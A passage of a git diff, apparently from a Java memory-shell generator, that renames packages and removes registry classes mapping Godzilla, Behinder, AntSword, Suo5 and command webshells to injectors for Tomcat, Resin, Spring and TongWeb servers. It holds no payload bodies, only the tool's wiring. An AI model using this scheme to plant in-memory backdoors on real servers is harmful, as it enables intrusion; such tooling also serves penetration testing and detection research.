}
|
||||
+6
-2
@@ -1,5 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.BCELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.XxlJobPacker;
|
||||
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
|
||||
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
||||
@@ -34,6 +37,7 @@ import lombok.Getter;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
/**
|
||||
@@ -130,6 +134,6 @@ public enum Packers {
|
||||
}
|
||||
|
||||
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
||||
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).toList();
|
||||
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
|
||||
}
|
||||
}
|
||||
@@ -1,88 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.resin.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.resin.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
|
||||
import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
public class ResinShell extends AbstractShell {
|
||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class));
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class));
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class));
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, ResinServletInjector.class));
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, ResinFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, ResinServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, ResinFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, ResinListenerInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.*;
|
||||
import com.reajason.javaweb.memshell.server.*;
|
||||
import lombok.Getter;
|
||||
|
||||
/**
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
+2
-5
@@ -1,13 +1,10 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/28
|
||||
*/
|
||||
public class Constants {
|
||||
public static final int DEFAULT_VERSION = Opcodes.V1_6;
|
||||
public class ShellType {
|
||||
|
||||
public static final String SERVLET = "Servlet";
|
||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
||||
@@ -1,57 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
|
||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
|
||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
|
||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
|
||||
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
public class SpringWebFluxShell extends AbstractShell {
|
||||
public static final String WEB_FILTER = "WebFilter";
|
||||
public static final String HANDLER_METHOD = "HandlerMethod";
|
||||
public static final String HANDLER_FUNCTION = "HandlerFunction";
|
||||
public static final String NETTY_HANDLER = "NettyHandler";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(WEB_FILTER, Pair.of(CommandWebFilter.class, SpringWebFluxWebFilterInjector.class));
|
||||
map.put(HANDLER_METHOD, Pair.of(CommandHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class));
|
||||
map.put(HANDLER_FUNCTION, Pair.of(CommandHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class));
|
||||
map.put(NETTY_HANDLER, Pair.of(CommandNettyHandler.class, SpringWebFluxNettyHandlerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(WEB_FILTER, Pair.of(GodzillaWebFilter.class, SpringWebFluxWebFilterInjector.class));
|
||||
map.put(HANDLER_METHOD, Pair.of(GodzillaHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class));
|
||||
map.put(HANDLER_FUNCTION, Pair.of(GodzillaHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class));
|
||||
map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, SpringWebFluxNettyHandlerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(WEB_FILTER, Pair.of(Suo5WebFilter.class, SpringWebFluxWebFilterInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,87 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class SpringWebMvcShell extends AbstractShell {
|
||||
public static final String INTERCEPTOR = "Interceptor";
|
||||
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||
public static final String CONTROLLER_HANDLER = "ControllerHandler";
|
||||
public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
||||
public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
||||
map.put(JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
||||
map.put(CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
||||
map.put(JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
||||
map.put(CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
||||
map.put(JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
||||
map.put(CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
|
||||
map.put(JAKARTA_INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
|
||||
map.put(CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(INTERCEPTOR, Pair.of(AntSwordInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
||||
map.put(CONTROLLER_HANDLER, Pair.of(AntSwordControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(AntSwordServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,119 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.*;
|
||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/22
|
||||
*/
|
||||
public class TomcatShell extends AbstractShell {
|
||||
public static final String WEBSOCKET = "WebSocket";
|
||||
public static final String UPGRADE = "Upgrade";
|
||||
public static final String EXECUTOR = "Executor";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class));
|
||||
map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class));
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
map.put(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class));
|
||||
map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class));
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class));
|
||||
map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class));
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
|
||||
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, TomcatServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, TomcatFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, TomcatListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, TomcatValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,100 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.injector.*;
|
||||
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/26
|
||||
*/
|
||||
public class TongWeb6Shell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
||||
